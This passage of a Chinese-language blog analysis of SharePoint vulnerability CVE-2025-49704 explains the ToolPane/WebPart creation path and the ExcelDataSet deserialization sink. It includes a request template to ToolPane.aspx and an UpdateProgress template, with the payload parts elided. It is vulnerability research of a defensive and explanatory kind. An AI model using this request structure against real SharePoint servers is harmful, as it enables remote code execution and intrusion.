leaf="">...</span><span leaf=""><br/></span><span leaf="">if (url.StartsWith(&#34;_controltemplates/&#34;, StringComparison.OrdinalIgnoreCase) &amp;&amp; url.EndsWith(&#34;.ascx&#34;))</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    string text = HttpContext.Current.Server.MapPath(&#34;/&#34; + url);</span><span leaf=""><br/></span><span leaf="">    if (File.Exists(text))</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        return new ServerWebFileFromFileSystem(url, text);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">return null;</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">因此，构造如下格式的请求可以创建 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPart</span></code><span leaf=""> 控件：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">POST /_layouts/15/AddGallery.aspx?/ToolPane.aspx HTTP/1.1</span><span leaf=""><br/></span><span leaf="">Host: </span><span leaf=""><br/></span><span leaf="">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0</span><span leaf=""><br/></span><span leaf="">Connection: close</span><span leaf=""><br/></span><span leaf="">Content-Type: application/x-www-form-urlencoded</span><span leaf=""><br/></span><span leaf="">Content-Length: 40</span><span leaf=""><br/></span><span leaf="">MSOSPWebPartManager_DisplayModeName=Edit&amp;MSOTlPn_Uri={{urlenc(<a href="http://test/_controltemplates/15/AclEditor.ascx)}}&amp;MSOTlPn_DWP={{urlenc(...)}}" target="_blank">http://test/_controltemplates/15/AclEditor.ascx)}}&amp;MSOTlPn_DWP={{urlenc(...)}}</a></span></code></pre><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">反序列化漏洞</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SharePoint</span></code><span leaf=""> 历史上披露的很多漏洞都与 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPart</span></code><span leaf=""> 控件的创建有关，比如 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2021-31181</span></code><span leaf=""> 。此次 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-49704</span></code><span leaf=""> 其实就是找到了一个新的利用链。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ToolPane</span></code><span leaf=""> 使用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ElementDesiger</span></code><span leaf="">来解析</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPart</span></code><span leaf="">控件脚本。在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ASP.NET</span></code><span leaf="">程序中，底层是通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplateParser</span></code><span leaf="">将输入字符串分析为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Web</span></code><span leaf="">窗体页或用户控件上的对象。历史上曾经有漏洞就是利用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplateParser</span></code><span leaf="">来实现</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></code><span leaf="">的，比如</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2023-35813</span></code><span leaf="">。</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-49704</span></code><span leaf="">公开的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">POC</span></code><span leaf="">尝试通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ElementDesiger</span></code><span leaf="">解析</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">UpdateProgress</span></code><span leaf="">服务器控件中的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ProgressTemplate</span></code><span leaf="">属性来触发</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplateParser</span></code><span leaf=""> 解析：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008603" class="rich_pages wxw-img" data-ratio="0.273972602739726" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=eda7c0c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVEib8Mgwpqt3WKTD3IfWBZCoqkd37iaosQTMPbibXjjrO94slJxqhat3og%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">&lt;asp:UpdateProgress ID=&#34;Update&#34; DisplayAfter=&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">runat=&#34;server&#34;&gt;</span><span leaf=""><br/></span><span leaf="">&lt;ProgressTemplate&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;div&gt;</span><span leaf=""><br/></span><span leaf="">    ...</span><span leaf=""><br/></span><span leaf="">  &lt;/div&gt;</span><span leaf=""><br/></span><span leaf="">&lt;/ProgressTemplate&gt;</span><span leaf=""><br/></span><span leaf="">&lt;/asp:UpdateProgress&gt;</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">漏洞触发的类型为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ExcelDataSet</span></code><span leaf=""> ，里面存在一个名为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DataTable</span></code><span leaf=""> 的可读写属性，在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">get</span></code><span leaf=""> 中将调用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GetObjectFromCompressedBase64String</span></code><span leaf=""> 函数从字符串参数 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">compressedDataTable</span></code><span leaf=""> 中获取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">dataTable</span></code><span leaf=""> 对象：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008602" class="rich_pages wxw-img" data-ratio="0.4068965517241379" data-type="png" data-w="1015" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=8a2e6b1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVdIOQaa1EoE6CEa2ZNbFqp43wOwesKqvxELdqDA4m7OeF5UDHDbcy6g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GetObjectFromCompressedBase64String</span></code><span leaf=""> 函数中在完成 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">base64</span></code><span leaf=""> 解码和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GZipStream</span></code><span leaf=""> 解压缩处理后，调用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: 